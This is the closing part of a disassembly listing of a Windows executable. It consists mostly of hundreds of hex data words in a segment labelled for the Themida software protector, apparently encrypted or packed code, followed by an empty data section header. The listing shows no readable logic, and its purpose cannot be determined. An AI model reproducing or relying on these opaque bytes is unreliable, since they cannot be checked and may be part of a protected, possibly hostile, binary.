		dd 0E97EF2B9h, 9, 0E52DAA34h, 0E915F935h, 6650F9AFh, 0F0ABDF81h
		dd 0BF0F5658h, 81665FF1h, 0E87010D8h, 9, 0D2F207E2h, 7AF930DBh
		dd 0F6059A2h, 28Ch, 66BCB700h, 0E961C28Bh, 0Eh,	95B64BC1h
		dd 0CC2E1CE1h, 0F9591FA9h, 0BFF818E1h, 4E3C9Ah,	14E973B5h
		dd 2C000000h, 0F7DC7EBAh, 477EC701h, 0A3F05227h, 0A5382C95h
		dd 0E97A110Ah, 0Ch, 9E7E6C4Bh, 154457EBh, 1A8BAD16h, 0DE9h
		dd 88826800h, 6E2EEE88h, 928774C6h, 816667F7h, 8B7BA4C7h
		dd 0CE8CEh, 85580000h, 0AE9C601Dh, 9258AE83h, 850FBBD2h
		dd 1, 5E85AF8h,	93000000h, 81F4E7E3h, 0E85EDE8Ah, 8, 396C1C7Fh
		dd 0DC2C3934h, 0B8F0Fh,	6E90000h, 0D0000000h, 7628EDEDh
		dd 0DE80589Dh, 0D3B70F24h, 45C510BEh, 9E94Eh, 0F4640000h
		dd 58C43ECh, 0F4E88E8h,	8166D9B7h, 0FC570EEh, 0D681CEBFh
		dd 45304757h, 0F08AF88Ah, 1A810Fh, 11E80000h, 0DC000000h
		dd 0BFB08FBDh, 7A0B3CD8h, 0C0D249ECh, 120AACDEh, 59F38B66h
		dd 0DEA8166h, 32B8662Ah, 1BB96695h, 0CABF0F8Ah,	0A1F1BA66h
		dd 28E0F52h, 0B7000000h, 0DF805F46h, 8BDE8BB7h,	13E8D7h
		dd 40FA0000h, 0C52FFBA4h, 7EAE71E3h, 0A3CE8868h, 310FBB9Bh
		dd 38A0F5Ah, 66000000h,	0B15AD18Bh, 108E0F9Ah, 0E8000000h
		dd 9, 8446C39h,	3270DD7Bh, 815BF55Fh, 4C0CFADEh, 0DE84Ch
		dd 2E0000h, 5FD45960h, 18EFF2B2h, 0F765882h, 28Ah, 5F5A5300h
		dd 14E9h, 4B6F9200h, 0E210CA74h, 0AF41D4BBh, 0BA9FDD58h
		dd 1110EFh, 1DF7812Dh, 6027DB9Eh, 8CC4EDB8h, 12E96167h
		dd 62000000h, 8BAEB4A7h, 7D79BC2Dh, 0F73D5ED1h,	4EB5558h
		dd 0BE9C6h, 29570000h, 0E4F96257h, 0E735845h, 0C9BF0F8Eh
		dd 0F4BBBE66h, 0D9E78152h, 5965D2D8h, 0CE9h, 58B79C00h
		dd 3DCC4215h, 1EEEB8EDh, 60575785h, 0B25F5B61h,	0DC80F599h
		dd 5E9C0h, 0BA3F0000h, 6014460Fh, 2800Fh, 61600000h, 61D38B66h
		dd 8880Fh, 0F520000h, 8Bh, 13E95F00h, 9C000000h, 0CB612C8Ch
		dd 535A6CE7h, 0F1160144h, 0C9C1A7F5h, 0F780972Eh, 11B8F8E7h
		dd 661D13B2h, 0B9E3FCBEh, 15221FB0h, 0BF8E381h,	0B70F1B42h
		dd 0E9D08BFEh, 9, 0A0AC1CBFh, 372C1A7Ch, 13E99Bh, 29E20000h
		dd 0B1A62934h, 0E0D0DE1Ch, 383C77D8h, 9BC21CD5h, 0CE8B6638h
		dd 0E9FE8B66h, 5, 9EFF1E48h, 85AAB93Ah,	8F0F1BEDh, 0Fh
		dd 0AE9h, 0DDE31100h, 0A9AFD8A8h, 0E9B9DCE8h, 8, 0C4E4F2B9h
		dd 0B66D5272h, 1FA5BA66h, 0CE8h, 0B8255800h, 9F43ED76h
		dd 3EED1340h, 0DEB70F35h, 62E48058h, 0EE9h, 6A53A000h
		dd 1A98357Ah, 9A5FECD0h, 0E94BB3DCh, 5,	0E027C57Bh, 5E9C9h
		dd 0D8060000h, 661CCDADh, 4F73C081h, 66E0D780h,	80C87BBEh
		dd 0DA8A73D8h, 0B850FF9h, 0F000000h, 588h, 0C7816600h
		dd 0F2B88F39h, 66699569h, 0F40B4BAh, 0D80h, 8E900h, 0F01E0000h
		dd 21C9CA3Fh, 8B668A55h, 1CB866F7h, 0AE91Dh, 552A0000h
		dd 0B6DCAF45h, 0C9A0FF60h, 890FEF8Ah, 2, 0ED80F88Bh, 15D18113h
		dd 8B653EF3h, 0AE8FBh, 0DBA10000h, 75D07939h, 4D47346Fh
		dd 6E44BF66h, 8C0F58h, 8B000000h, 48B0FC6h, 66000000h
		dd 0B44EBABBh, 22BB667Bh, 6820FD4h, 0F000000h, 84h, 58A0F00h
		dd 66000000h, 6566F781h, 0B70FF28Bh, 0CFB4FCD9h, 7B6F88Bh
		dd 0D4F380F8h, 0B9F78B66h, 1514EF5Ah, 60C0B70Fh, 68D0Fh
		dd 880F0000h, 0
		dd 61F88B66h, 0FE8D48Ah, 33000000h, 0E759251Bh,	41FCBC5Ah
		dd 27F86B07h, 6659863Dh, 8BF7EBBAh, 0BE9CAh, 1E1A0000h
		dd 41EF1119h, 0FE796F30h, 66C88BD7h, 0DE8DC181h, 64BB66F9h
		dd 0D1816686h, 0DB80D750h, 118D0FBCh, 0F000000h, 0B8Fh
		dd 6E900h, 764B0000h, 52051E6Eh, 91BBD18Bh, 66457DA1h
		dd 800FD78Bh, 2, 0F85147B7h, 7E858h, 0A4F90000h, 478B3862h
		dd 3810FAAh, 0F000000h,	8B59F2BFh, 0CA8B66F3h, 6E9h, 9BED5E00h
		dd 80FF261Dh, 0CE817AD7h, 61BE72BEh, 0B866C18Bh, 7E9065Dh
		dd 55000000h, 15F2701Dh, 0E9F544B4h, 0Ch, 0FC0FD0D3h, 3E6605AAh
		dd 0D1D80F8h, 108B0Fh, 0BE90000h, 0C2000000h, 1114BEFDh
		dd 4DAC65Ch, 0CE81A5D7h, 56B73BDAh, 666CD1BEh, 8A0F74h
		dd 0B5000000h, 0E6BA6678h, 14E9F8C2h, 3B000000h, 370A1B02h
		dd 63D14819h, 0B69423EFh, 9A1317C8h, 0F80BFA8h,	89h, 0BE800h
		dd 2CC60000h, 325CBDC3h, 0DD0B1593h, 12E9C0h, 0A7B60000h
		dd 8D2E1F48h, 0D3E94186h, 0EA2512D2h, 43A380Bh,	65E3815Bh
		dd 0F41D5A1h, 38Fh, 0DBBF0F00h,	67B0D081h, 0B866663Dh
		dd 5E9987Bh, 27000000h,	2BAAC285h, 81CF8B66h, 85D8D2E1h
		dd 0C78B6673h, 18D0FFCh, 0F8000000h, 0B9B1CE8Bh, 0CD08166h
		dd 0C08166F9h, 0E881BD0Eh, 504846CAh, 34D68166h, 36BE6674h
		dd 0E181668Fh, 0E852060Bh, 0Eh,	5C0FFC0h, 0ACBB5A84h, 0DC187931h
		dd 26B833C9h, 5E3C13CBh, 5800F59h, 66000000h, 0D81ED981h
		dd 46C38057h, 0DE958h, 0C3FB0000h, 2034BA42h, 917644A2h
		dd 6630AB78h, 0F4DEBBFh, 6650D9BFh, 0F5AC88Bh, 8152CBBFh
		dd 38D6C3D8h, 9E95F04h,	0A8000000h, 0A16E23A9h,	91F6961Eh
		dd 11E9h, 2BF8DF00h, 0C0B794E2h, 44B7788Dh, 347FAB75h
		dd 0BF0F4757h, 0CE8C7h,	0DF340000h, 390CE9A0h, 938B8494h
		dd 12E97ADCh, 7000000h,	0DBB4C2F7h, 38C5E242h, 49F3B3A4h
		dd 44C0B86Fh, 8166591Ch, 0F54CB9E8h, 850F61B5h,	1, 0F5E781F8h
		dd 6629DA4Eh, 0C381D68Bh, 5A802C0Dh, 8E8h, 4FCA3D00h, 9438156Eh
		dd 0B796B9B5h, 8A5F66A7h, 66DF8BE6h, 5DECD681h,	0C60BBE66h
		dd 3C0A51B9h, 11E830h, 8CEA0000h, 65564482h, 4A85DFFFh
		dd 2607D6E9h, 0F965AC1h, 118Ch,	0CE900h, 68660000h, 843EDA00h
		dd 3F282C25h, 0F5583AF2h, 0F814BF66h, 0DE9EDB1h, 66000000h
		dd 3F512E1Bh, 0C3393525h, 0EC10F4B8h, 0BFD78B66h, 2993DAFh
		dd 14E9h, 0AE376900h, 0E092C664h, 0AD1F1D8Ah, 279CA73Ah
		dd 48CE9F91h, 0EF81664Ch, 0FC51C121h, 6BBA665Ah, 0E860FCDFh
		dd 0Dh,	1D149AA7h, 1F2D54B9h, 0AA6880BDh, 43E18119h, 5931D249h
		dd 80615856h, 8B0FBAC3h, 9, 38B0Fh, 0B70F0000h,	860FF6h
		dd 53000000h, 5BA6E680h, 27F18166h, 0D5BE666Eh,	0BAC38B64h
		dd 58B6D7CDh, 0F48AFCFCh, 30BF6660h, 61FA8BB8h,	5360BBB6h
		dd 61F8605Eh, 0BABA6661h, 0FA8B665Ch, 0D98B6650h, 0AE95Fh
		dd 0B7E00000h, 3D9EF83Ch, 86ADF3B7h, 0C18B52F9h, 28A0F5Eh
		dd 8B000000h, 8E8DAh, 7DFF0000h, 2805707h, 816605E2h, 585B57C3h
		dd 6810Fh, 0E3810000h, 2E0156A6h, 61DD8A60h, 0BACEBF0Fh
		dd 7E7C0CD2h, 97DCD081h, 0DBB53C1h, 0F459AD5h, 381h, 0F78B6600h
		dd 8166F38Ah, 8B7A38F1h, 7BEE81F8h, 812BB493h, 33098D0h
		dd 2840F51h, 0B7000000h, 6E960h, 0C30000h, 0E99386EFh
		dd 9E8h, 6E016C00h, 7225EAB7h, 0B70F8189h, 0E9F558C8h
		dd 14h,	5B02FBD9h, 0B24F5E13h, 55CCFA82h, 2EBF1617h, 0B3012BEDh
		dd 0F1B1F181h, 4EB169B9h, 8B661AB7h, 0C28B66DAh, 30B045BEh
		dd 0BE8573Fh, 0C4000000h, 8A800FA4h, 18A81DBDh,	0CBB732E5h
		dd 8B665B59h, 0DE9CFh, 0DF5C0000h, 0D4929218h, 0B8D7E19Eh
		dd 607CD518h, 61C9BF0Fh, 66A8CA80h, 3301E981h, 1830Fh
		dd 60FC0000h, 20F18151h, 5845469Ch, 4ADDF181h, 0F6132A3h
		dd 282h, 8BF28B00h, 0D68152C8h,	7F09666Ch, 0FFBF605Eh
		dd 0E9335995h, 12h, 83995E55h, 0D275D543h, 0DEBA0C54h
		dd 7BA00166h, 66619875h, 0FB9CBBFh, 68Fh, 0B0C18100h, 661F72D8h
		dd 8B3A0ABAh, 18870FC6h, 0E8000000h, 10h, 5DC9FE13h, 0ADBCE135h
		dd 5F0422C9h, 22FECA22h, 6658C18Bh, 6E8D98Bh, 0D6000000h
		dd 25D445Fh, 48BB66DDh,	8C0F5E84h, 0
		dd 37C841BEh, 890FF526h, 3, 0BADBB70Fh,	18958D9Dh, 660CB760h
		dd 8B61F08Bh, 7E9DFh, 47270000h, 0EB5FC3C6h, 80E68A46h
		dd 830FF2E3h, 2, 0B70FC38Bh, 7E8D8h, 0C8490000h, 78E59EB0h
		dd 0D367BB5Fh, 665F765Eh, 0E90CE2BBh, 13h, 0D9AAA83Fh
		dd 7CA81148h, 48C73BC2h, 0C531E0BFh, 0E97013F5h, 8, 271DE2AAh
		dd 1354B788h, 0D9F08166h, 0AE9D6h, 0B2E0000h, 6EE9F2DCh
		dd 81DFDB8Fh, 0CE9h, 0FCDB5E00h, 304CD976h, 0A731D200h
		dd 7E8DDh, 1C540000h, 90560913h, 13E9C1h, 14EF0000h, 2E6E86D0h
		dd 7E3EF4EEh, 33850E78h, 2ECA724Ch, 0BB665E12h,	0AE85C56h
		dd 36000000h, 45BA7DD8h, 61641FDEh, 15820F53h, 0E9000000h
		dd 10h,	0B85D627h, 0A449C6EDh, 0AAE07272h, 82C72541h, 81BB6658h
		dd 0FA8B66C9h, 4416BB66h, 9860Fh, 8B0F0000h, 3,	0B0F78B66h
		dd 0DE91Eh, 0E3FB0000h,	8A3CC90Fh, 6F0A0351h, 8BF0ECB3h
		dd 3890FF8h, 66000000h,	820FD88Bh, 13h,	0EE9h, 0A3DD5400h
		dd 0AD353130h, 0A7A9168h, 0FB6D970h, 8B66FEBFh,	9E9D0h
		dd 3C110000h, 8C41B332h, 0F416323h, 6660D3B7h, 562D881h
		dd 0FE8h, 42B73600h, 66E4C4A6h,	57C7203Fh, 40701B40h, 11E9h
		dd 78755B00h, 0ED65AC4Fh, 7BB4A270h, 2D0B45E9h,	61588E3Ch
		dd 0B5DFB70Fh, 0CE94Bh,	8F7D0000h, 0D8F31470h, 1EC58010h
		dd 80608FD2h, 8166E9ECh, 6120DFD2h, 0EBADE981h,	39BE41BFh
		dd 8B03E082h, 0F0B70FF0h, 0F8F1B70Fh, 8B6640B4h, 8D0FCAh
		dd 81000000h, 19B0ECDBh, 56F96058h, 11E9615Fh, 0BA000000h
		dd 64D33BBEh, 0A82460D5h, 7D43AB19h, 0AD9490A3h, 0E6DA8166h
		dd 66CF8B15h, 0EE9C38Bh, 58000000h, 2F90A4B7h, 0E8988340h
		dd 90EF3AA5h, 0F081FCC0h, 4BDACEBFh, 80F18B66h,	5E9EAE0h
		dd 1000000h, 2FC7E8AAh,	81CFBF0Fh, 708A0FDBh, 7EEE8120h
		dd 8B61B2AEh, 68D0FD9h,	60000000h, 0CA8B6160h, 92E28161h
		dd 0E96611D2h, 5, 0C62D85A8h, 0D780F989h, 0D681667Ch, 0EBB354A3h
		dd 9E9h, 7802C600h, 8174F882h, 8B66F8F0h, 71DF80CAh, 5800Fh
		dd 81660000h, 51FBAACBh, 8B5AFE8Bh, 0C88166FEh,	0EF8AC0CDh
		dd 1FDCBE66h, 58E0Fh, 81660000h, 0BFD5F5C0h, 121E5A8Ah
		dd 0FD8B70Fh, 1585h, 10E900h, 43010000h, 0E0DE2CD3h, 0E388E366h
		dd 2CAE4F0Ah, 0C88BAF6Bh, 0FE9h, 3056E900h, 5F6A22Ah, 61DE4F3Ah
		dd 3BE57345h, 13E8h, 0E6DB1800h, 0FB4AFF6Ah, 8693F545h
		dd 0B586B97Fh, 470ACB2Eh, 0BE95Fh, 0FDC0000h, 0A22C7748h
		dd 84ED3198h, 77C68102h, 660C632Ch, 0CB70EE81h,	0C2D08166h
		dd 10E957h, 0A8460000h,	0A698615Bh, 5BC4BBF2h, 0A531400Dh
		dd 0F608CB9h, 682h, 8C0F00h, 0F000000h,	289h, 61D38B00h
		dd 8152DE8Bh, 972D89D2h, 13E95B5Eh, 33000000h, 72A8573Fh
		dd 190164Eh, 2FC7E8AAh,	649A5791h, 0E8FC2B32h, 0Ch, 0E528C2A3h
		dd 53441502h, 72FDAE0Eh, 5259CE8Ah, 0CEBF0F5Bh,	68F0Fh
		dd 0DA810000h, 2B56B392h, 0CEB70FF5h, 820F5656h, 0
		dd 0D0815959h, 69C8B26h, 65DB8166h, 85F6802Eh, 0AE8h, 40E0A800h
		dd 71522E0Ah, 0B6E1970Fh, 0BE66583Dh, 0C1808D8Eh, 48A0F0Eh
		dd 66000000h, 0B600B5B8h, 0F9F08ABDh, 0FCF18B66h, 0CE960h
		dd 354F0000h, 0EDA56DDBh, 0B6504DB0h, 0B4B783FCh, 0AE961h
		dd 0CB1A0000h, 8F920FC6h, 694095DFh, 14E9B6B2h,	0C5000000h
		dd 0E7AA5693h, 7B7A9895h, 6BEEAF67h, 58BF30F1h,	6099CF0Dh
		dd 61C88BFCh, 597FBF66h, 40B9F781h, 6E85640h, 35000000h
		dd 66A0362Dh, 12E923h, 40990000h, 0FEC604Dh, 6EA7ECD8h
		dd 0F33C607Dh, 49D38E80h, 5E8F558h, 0B7000000h,	717CC5Ch
		dd 36D7F0B9h, 0EE95967h, 0C4000000h, 11166131h,	219D75EEh
		dd 0B95670E1h, 0D08B661Fh, 8BF9CB8Ah, 0F98B66F7h, 830Fh
		dd 81660000h, 0F914CDD8h, 7E8h,	65456B00h, 0C9D8A2ECh
		dd 0FE95FF5h, 94000000h, 698A042Fh, 0D2A33744h,	9FF87342h
		dd 66F96FEFh, 0F08BC68Bh, 0BE9h, 5A40A00h, 3B95B0h, 977D0F37h
		dd 62AF12BEh, 0D88B6654h, 0BE8FCh, 0DF6A0000h, 0A31E6446h
		dd 3B352F2Bh, 0E1D281E0h, 586FC129h, 16BB9EB6h,	66103880h
		dd 0E909C5BBh, 0Ah, 4D44CF62h, 477B9A1Ch, 8F0F4BDAh, 6
		dd 5B92C781h, 0BA660C12h, 8B605218h, 14E281CFh,	615875FEh
		dd 0EE8h, 5BAA1200h, 333754FBh,	30AC0C66h, 0B132D0A0h
		dd 8F0F5F78h, 3, 0E8E4E980h, 13h, 91BDB643h, 0BF607675h
		dd 90123F88h, 0B65A61CDh, 0E90C0CC6h, 12h, 0FF3F4B58h
		dd 4BE69A09h, 0E0707B7Dh, 0C04B6BB8h, 0B05F2BD1h, 5E982h
		dd 4FAE0000h, 0E8B03582h, 12h, 0E43EBAECh, 32B6EE40h, 0D6419D55h
		dd 5323BCEFh, 0F50FDFFh, 5A5EC2BFh, 7A91BE66h, 0B551EE81h
		dd 0BF0F43E1h, 6018B1DFh, 8E9h,	0D38E8000h, 475F0F49h
		dd 0BC7761CEh, 252h dup(0BC76A0D3h), 47E2A0D3h,	83h dup(47E28E31h)
		dd 2ADh	dup(48822F7Dh),	82822F7Dh, 144h	dup(82646A9Ch)
		dd 67F4749Ch, 0DBh dup(67F4747Fh), 0EB86417Fh, 1E7h dup(0EB86417Bh)
		dd 0F3DFDC7Bh, 9Ch dup(0F3DFDC1Ah), 0F015101Ah,	0B8h dup(0F015100Fh)
		dd 0CCCCCC0Fh, 91Ch dup(0CCCCCCCCh), 0CCCCh, 13Eh dup(0)
Themida_	ends

; Section 5. (virtual address 001D3000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001D3000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5D3000h
		align 2000h
_idata2		ends


		end start